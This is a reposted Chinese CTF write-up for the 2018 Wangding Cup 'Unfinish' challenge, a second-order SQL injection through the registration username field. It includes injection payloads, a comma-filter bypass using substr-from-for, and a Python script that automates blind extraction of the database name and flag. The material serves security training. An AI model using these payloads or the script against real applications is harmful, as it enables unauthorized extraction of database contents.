[网鼎杯2018]Unfinish解题,五分钟带你解题

news2024/12/24 21:54:35

目录

前期准备

​编辑

扫描目录

寻找注入点

构建payload:

开始注入:

寻找过滤规则

绕过过滤

构建python脚本

提交flag

总结


前期准备

        这道题是2018年网鼎杯的一道题,是比较经典的一道sql二次注入的题,我们一起来看一下

扫描目录

         首先进来之后发现就是一个登录框,我们肯定就先看看尝试尝试闭合,结果,就是提示我们在邮箱@之后不能添加符号,完了那就只能添加到密码里了,试一下发现也不行,最后提示用户名或者密码错误,那没办法注入啊,这时候怎么办呢,我们就只能用扫描工具试试看看这个网站还有没有其他页面了。

        这里我用的是dirsearch进行扫描的,工具很多随便一个都能扫出来;扫描结果发现有用的只有logi.php和register.php,register是注册的意思,那么这应该是一个注册页面了,我们一起去看看怎么个事吧。

寻找注入点

        果然是一个注册页面,那我们就注册一个用户看看吧。

        注册好之后会自动跳转到登录页面,我们登上去发现我们的用户名出现在了界面上,那么这就很可能是用户明通过登录之后从数据库查询传到index.php页面了,那这就很符合二次注入的点了,我们就只能在注册的时候考虑用户名注入了,那我们就尝试构建一下payload

//注册用户
insert into tables values('$email','$username','$password')

构建payload:

        那么看一下payload, 我们如果想要逃逸出闭合了那就只能跳出username了,但是这样的话这条查询语句就不对了,本来要插入三个变量,现在逃逸之后变成两个这显然行不通了,那么我们就只能考虑不去闭合,并且让我们的查询语句成功执行,这显然很好构建

insert into tables values('$email','0' +(select ascii(database())) +'0','$password')

开始注入:

        那我们注册的时候就试试:

0' +(select ascii(database())) +'0

寻找过滤规则

        我们发现是119,对应解出来就是“w”,很好看来我们已经注入成功了,既然这样我们就加一个截取函数取后面几位:

0'+(select ascii(substr (database(),2,1)))+'0

        很明显是有东西被过滤了,跟上一次注册语句发现多了一个逗号,很明显逗号被过滤了,但是我们不知道还有啥被过滤了,所以我们使用一下burp的暴力破解模块看看都过滤了啥吧,为了方便我并没使用专门的字典去破解,我用的只是针对我们需要用到的东西进行过滤,information库是为了方便我们后续注入表名、列名,sys是当information不能使用之后查表名、列名所要用到的库。

        我们发现长度为917的被过滤掉了,所以网站把“ , 和 information”过滤掉了,这个时候后续注入表名、列名的时候就要用到sys库了。

绕过过滤

                现在回到我们查库名第二个字母的注入中来,我们发现逗号被过滤了,那么substr有没有不用逗号就执行的呢,显然是有的。        验证发现可以,那我们直接开始注册,注入语句如下:

0'+(select ascii(substr(database()from 2 for 1)))+'0 

        这次我们发现逗号成功绕过,并且第二个字母ascii编码是101,那我们就一直继续下去        这里我们发现变成0了,这就说明0 + 0 +0 =0就是查询语句没查出来,说明已经结束了,那么数据库的ascii编码就是11910198了,解码看看        这里我用了python进行解码,是为了方便后续为整个注入编写脚本

        现在我们数据库注入出来了,下一步肯定就是注入表名了,information已经被过滤了,所以我们就是用sys库进行注入。注入语句如下:

先来进行表名的注入:
0'+(select ascii(substr(table_name from 6 for 1 )) from sys.x$schema_table_statistics limit 1)+'0

结果我们发现一直注册不了,但是我在自己本机的mysql中执行却可以成功执行,这可能是这道题使用的数据库不是mysql,可能没有sys库所以导致语句执行报错,从而执行不成功。

构建python脚本

        最后查询发现其他人的表名是靠猜的,那就用flag来进行flag的获取吧,构建注入语句如下:

0'+(ascii(substr((select * from flag) from 1 for 1)))+'0

        但是这些都是一些重复性的工作,所以我就自己写了一个python脚本去跑,脚本代码如下:

import requests
from bs4 import BeautifulSoup
def select_database():
    database= ""
    for i in range(100):
        data_register={
            "email": "%d@qq.com" %(i),
            "username": f"0'+(select ascii(substr(database()from {i+1} for 1)))+'0",
            "password": "%d" %(i)
        }
        register=requests.post(url="http://a5b133a7-b13a-4bdd-baff-74323b32b30a.node5.buuoj.cn:81/register.php", data=data_register)
        data_login={
            "email":"%d@qq.com" %(i),
            "password":"%d" %(i)
        }
        login=requests.post(url="http://a5b133a7-b13a-4bdd-baff-74323b32b30a.node5.buuoj.cn:81/login.php", data=data_login)
        html=login.text
        soup=BeautifulSoup(html,'html.parser')
        getUsername = soup.find_all('span')[0]
        username = getUsername.text
        o = int(username)
        if o == 0:
            break
        database += chr(int(username))
        print(database)
    return database
def select_flag():
    flag = ""
    for i in range(100):
        data_register = {
            "email": "%d@qqq.com" % (i),
            "username": f"0'+ascii(substr((select * from flag) from {i+1} for 1))+'0",
            "password": "%d" % (i)
        }
        register = requests.post(url="http://a5b133a7-b13a-4bdd-baff-74323b32b30a.node5.buuoj.cn:81/register.php",
                                 data=data_register)
        data_login = {
            "email": "%d@qqq.com" % (i),
            "password": "%d" % (i)
        }
        login = requests.post(url="http://a5b133a7-b13a-4bdd-baff-74323b32b30a.node5.buuoj.cn:81/login.php",
                              data=data_login)
        html = login.text
        soup = BeautifulSoup(html, 'html.parser')
        getUsername = soup.find_all('span')[0]
        username = getUsername.text
        o = int(username)
        if o == 0:
            break
        flag += chr(int(username))
        print(flag)


print(select_database())
print(select_flag())

        这是跑出来的flag,大家在用的时候只需要更改url即可 

提交flag

flag正确,解题结束。

总结

        这道题是一道很经典的二次注入题目,回顾解题过程,我们显示登录页面找不到注入点,然后开始扫描目录寻找其他注入点,找到register注册页面,注册完之后登录发现出现了用户名,那我们就考虑注入点是不是在username,开始注入发现结果是0,所以我们就想着用转ascii码等方式来注入,很明显这种方法是正确的,然后information被过滤,我们就尝试用sys来注入表名,但是并没有成功,可能应为不是MySQL所以没有成功,官方也没有放源码出来,所以我们就猜测表名是flag,然后编写python脚本,最后解出flag,还有一种解法就是用16进制来解,原理都是一样的,但是16进制会在回显用户名的时候讲字母截断,所以我们就用两次16进制,然后通过截取函数也可以解题,原理都是一样的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1983216.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

B1.3 程序状态寄存器PSTATE的介绍

快速链接: . 👉👉👉 ARMv8/ARMv9架构入门到精通-[目录] 👈👈👈 付费专栏-付费课程 【购买须知】个人博客笔记导读目录(全部) B1.3 进程状态,PSTATE* 程序状态寄存器或PSTATE,是程序状态信息的抽象。所有指令集都提供操作 PSTATE 元素的指令。 以下 PSTATE 信…

第二十一天内容

上午 4、mysql基础命令 5、mysql操作命令 ------------------------------------------------------------------------------------------------------------------------------- 下午 1、脚本安装mysql 2、mysql命令回顾 3、mysql用户权限设置 4、命令练习 6、权限角色 7、…

按xls标签替换docx及xls内容

WPSoffice环境下,需要批量替换doc文档及xls表格某些内容,在windows下,可以用VBA宏实现,先建一个标签表格,然后按标签批量替换。但在Linux下,WPS表格宏不能跨文档操作WPS文字,于是想用python实现…

工程架构简析

文内项目 Github:XIAOJUSURVEY 架构 架构的设计最终是为了场景可以快速扩展,基于工程底座,使用者能够专注于业务领域的深入。 B端:面向问卷管理者,专注于问卷管理、问卷投放和数据分析三大核心能力的建设。&#xff0…

vue3实现商品图片放大镜效果(芋道源码yudao-cloud 二开笔记)

今天开发一个防某商城的商品图片放大镜,鼠标移动到图片位置时,右侧出现一个已放大的图片效果。 示例如下: 下图的图片的放大效果和小图的切换封装成了组件PicShow.vue,可根据需求自行修改,如下: 第一步&…

鸿蒙应用服务开发【钱包服务(ArkTS)】

介绍 基于Stage模型,提供钱包交通卡和Pass卡的开卡、预览卡、查询卡信息、更新卡片信息、删除卡片、初始化钱包环境等功能。 效果预览 具体实现 交通卡 在hms.core.payment.walletTransitCard中定义了钱包交通卡接口API,示例接口如下: /*…

【漏洞复现】用友NC Cloud系统queryPsnInfo接口SQL注入

文章目录 0x00 漏洞描述影响范围 0x01 测绘工具0x02 漏洞复现0x03 Nuclei检测脚本0x04 修复建议0x05 免责声明 0x00 漏洞描述 用友NC Cloud存是一款大型企业数字化平台。 在受影响的版本中,攻击者可以通过未授权访问 /ncchr/pm/obj/queryPsnInfo 接口,利…

综合安防管理平台LntonCVS视频监控汇聚平台视频数据智能化与资源共享方案

随着全球城市化进程的加快,智慧城市概念日益受到重视。在这一趋势下,LntonCVS视频汇聚平台作为新型智慧城市的重要智能基础设施之一,扮演着关键角色。该平台整合、接入和管理城市中各类视频资源,涵盖公共安全视频、交通监控、城市…

【五大海内外高校支持】2024年数字经济与计算机科学国际学术会议(DECS2024)

大会官网:www.icdecs.net 大会时间:2024年9月20-22日 大会地点:中国-厦门 截稿日期:详情见官网 支持单位 马来西亚理工大学 北京科技大学经济管理学院 南京信息工程大学 马来西亚敦胡先翁大学 大会嘉宾 大会主席 罗航…

opencascade AIS_ViewController源码学习 视图控制、包含鼠标事件等

opencascade AIS_ViewController 前言 用于在GUI和渲染线程之间处理视图器事件的辅助结构。 该类实现了以下功能: 缓存存储用户输入状态(鼠标、触摸和键盘)。 将鼠标/多点触控输入映射到视图相机操作(平移、旋转、缩放&#xff0…

Mybatis(Day 18)

数据持久化是将内存中的数据模型转换为存储模型,以及将存储模型转换为内存中数据模型的统称。MyBatis 支持定制化 SQL、存储过程以及高级映射,可以在实体类和 SQL 语句之间建立映射关系,是一种半自动化的 ORM 实现。ORM(Object Re…

系统运维——PXE自动安装系统

摘要 PXE(Preboot Execution Environment,预启动执行环境)是一种允许计算机通过网络启动操作系统而无需本地存储设备的技术。本文详细介绍了 PXE 的定义、架构、原理、应用场景及常见命令体系。以 RedHat7 为例,展示如何配置和使…

Tooltip 文字提示

在偶然维护前端开发时,遇到页面列表中某个字段内容太长,且该字段使用了组件显示,导致不能使用纯文本得那个省略号代替显示得css样式效果,如下 所以只能另辟溪路了, 1、最开始想到是使用横向滚动得效果来实现&#xff…

【Vue3】Pinia存储及读取数据

【Vue3】Pinia存储及读取数据 背景简介开发环境开发步骤及源码 背景 随着年龄的增长,很多曾经烂熟于心的技术原理已被岁月摩擦得愈发模糊起来,技术出身的人总是很难放下一些执念,遂将这些知识整理成文,以纪念曾经努力学习奋斗的日…

如何用OceanBase与DataWorks,打造一站式的数据集成、开发和数据服务

导语:在OceanBase 2024年开发者大会的技术生态论坛上,阿里云DataWorks团队的高级技术专家罗海伟,详细阐述了一站式大数据开发治理平台DataWorks的能力,并对于如何基于OceanBase和Dataworks构建一站式数据集成、开发以及数据服务进…

解锁模数学习新境界:电路仿真软件,你的数字与模拟世界桥梁大师!

在这个科技日新月异的时代,模数转换(A/D与D/A)不仅是电子工程师的必修课,也是众多科技爱好者探索数字与模拟世界奥秘的钥匙。而今,一款强大的电路仿真软件,正悄然成为连接这两大领域的魔法棒,让…

Animate软件基础:各种类型文件使用说明

FlashASer:AdobeAnimate2021软件零基础入门教程https://zhuanlan.zhihu.com/p/633230084 FlashASer:实用的各种Adobe Animate软件教程https://zhuanlan.zhihu.com/p/675680471 FlashASer:Animate教程及作品源文件https://zhuanlan.zhihu.co…

ps绘制动图

ps绘制动图教程(简易版)-直播gif动态效果图 第一步 打开ps绘制几个简单的长方形 第二步 将图层转化为智能图层 第三部 在窗口找到时间轴创建时间轴 第五步 通过变换来鼠标控制图像的变化并打下结束点 第六部 通过图像中的图像大小控制gif的大小 第七部 …

低代码: 系统开发准备之确定一般开发流程,需求分析,复杂度分析,标准开发流程

概述 低代码系统开发之前,我们首先要进行一些准备我们首先知道我们软件开发的一般流程同时,我们还要知道,我们整个系统平台的需求如何之后,我们要基于需求进行设计,包含UI设计与系统架构设计 一般开发流程 系统开发…

2024年【北京市安全员-B证】考试题库及北京市安全员-B证考试技巧

题库来源:安全生产模拟考试一点通公众号小程序 北京市安全员-B证考试题库根据新北京市安全员-B证考试大纲要求,安全生产模拟考试一点通将北京市安全员-B证模拟考试试题进行汇编,组成一套北京市安全员-B证全真模拟考试试题,学员可…